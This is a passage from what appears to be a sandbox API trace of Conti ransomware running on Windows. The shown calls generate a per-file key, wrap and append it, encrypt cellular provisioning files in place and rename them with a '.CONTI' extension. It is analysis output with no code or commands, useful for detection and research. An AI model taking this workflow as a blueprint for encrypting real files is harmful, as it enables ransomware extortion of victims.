	[0107.251] CryptEncrypt (in: hKey=0x17c7fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d8, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2e0) returned 1
	[0107.251] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.251] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.251] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.251] WriteFile (in: hFile=0x384, lpBuffer=0x6515508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6515508*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0107.251] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.251] CloseHandle (hObject=0x384) returned 1
	[0107.251] GetProcessHeap () returned 0x1720000
	[0107.251] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.251] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml"
	[0107.251] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.251] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.252] GetProcessHeap () returned 0x1720000
	[0107.252] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.252] CryptDestroyKey (hKey=0x17c7fb0) returned 1
	[0107.252] GetProcessHeap () returned 0x1720000
	[0107.252] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3c98 | out: hHeap=0x1720000) returned 1
	[0107.252] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0107.252] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6512c00 | out: phKey=0x6512c00*=0x17c82b0) returned 1
	[0107.252] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512c04, pdwDataLen=0x3e3fe8c | out: pbData=0x6512c04*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0107.253] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.253] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0107.253] GetLastError () returned 0x0
	[0107.253] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=734) returned 1
	[0107.254] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2de
	[0107.254] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.254] SetEndOfFile (hFile=0x384) returned 1
	[0107.254] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.254] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.254] WriteFile (in: hFile=0x384, lpBuffer=0x6512c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6512c04*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0107.256] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.256] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2de, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2de, lpOverlapped=0x0) returned 1
	[0107.256] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2de, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2e0) returned 1
	[0107.256] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.256] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.256] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.256] WriteFile (in: hFile=0x384, lpBuffer=0x6512bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6512bf8*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0107.256] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.256] CloseHandle (hObject=0x384) returned 1
	[0107.256] GetProcessHeap () returned 0x1720000
	[0107.256] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.256] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml"
	[0107.256] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.256] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.257] GetProcessHeap () returned 0x1720000
	[0107.257] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.257] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0107.257] GetProcessHeap () returned 0x1720000
	[0107.257] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3de8 | out: hHeap=0x1720000) returned 1
	[0107.257] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0107.257] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65149a8 | out: phKey=0x65149a8*=0x17c82b0) returned 1
	[0107.257] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65149ac, pdwDataLen=0x3e3fe8c | out: pbData=0x65149ac*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0107.258] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0107.258] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0107.258] GetLastError () returned 0x0
	[0107.258] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=480) returned 1
	[0107.258] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0107.258] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.258] SetEndOfFile (hFile=0x384) returned 1
	[0107.950] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.955] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.955] WriteFile (in: hFile=0x384, lpBuffer=0x65149ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65149ac*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0107.979] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.979] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x1e0, lpOverlapped=0x0) returned 1
	[0107.980] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x1e0, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x1f0) returned 1
	[0107.980] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.980] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x1f0, lpOverlapped=0x0) returned 1
	[0107.980] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.980] WriteFile (in: hFile=0x384, lpBuffer=0x65149a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65149a0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0107.980] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.980] CloseHandle (hObject=0x384) returned 1
	[0107.980] GetProcessHeap () returned 0x1720000
	[0107.980] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.980] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0107.980] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0107.980] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0107.981] GetProcessHeap () returned 0x1720000
	[0107.981] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.981] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0107.981] GetProcessHeap () returned 0x1720000
	[0107.981] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c88f0 | out: hHeap=0x1720000) returned 1
	[0107.981] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0108.384] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x17c7d70) returned 1
	[0108.474] CryptExportKey (in: hKey=0x17c7d70, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x3e3fe8c | out: pbData=0x17c5c6c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0108.476] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0108.488] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0108.488] GetLastError () returned 0x0
	[0108.488] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=646) returned 1
	[0108.488] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x286
	[0108.488] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.488] SetEndOfFile (hFile=0x37c) returned 1
	[0108.492] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.492] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.492] WriteFile (in: hFile=0x37c, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.506] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.506] ReadFile (in: hFile=0x37c, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x286, lpOverlapped=0x0) returned 1
	[0108.506] CryptEncrypt (in: hKey=0x17c7d70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x286, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x290) returned 1
	[0108.506] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.506] WriteFile (in: hFile=0x37c, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x290, lpOverlapped=0x0) returned 1
	[0108.506] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.506] WriteFile (in: hFile=0x37c, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0108.506] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.506] CloseHandle (hObject=0x37c) returned 1
	[0108.506] GetProcessHeap () returned 0x1720000
	[0108.506] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b44050
	[0108.506] lstrcpyW (in: lpString1=0x6b44050, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml"
	[0108.506] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0108.506] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0108.507] GetProcessHeap () returned 0x1720000
	[0108.507] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b44050 | out: hHeap=0x1720000) returned 1
	[0108.507] CryptDestroyKey (hKey=0x17c7d70) returned 1
	[0108.507] GetProcessHeap () returned 0x1720000
	[0108.507] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589b40 | out: hHeap=0x1720000) returned 1
	[0108.507] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0108.507] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17c4a28 | out: phKey=0x17c4a28*=0x17c7d70) returned 1
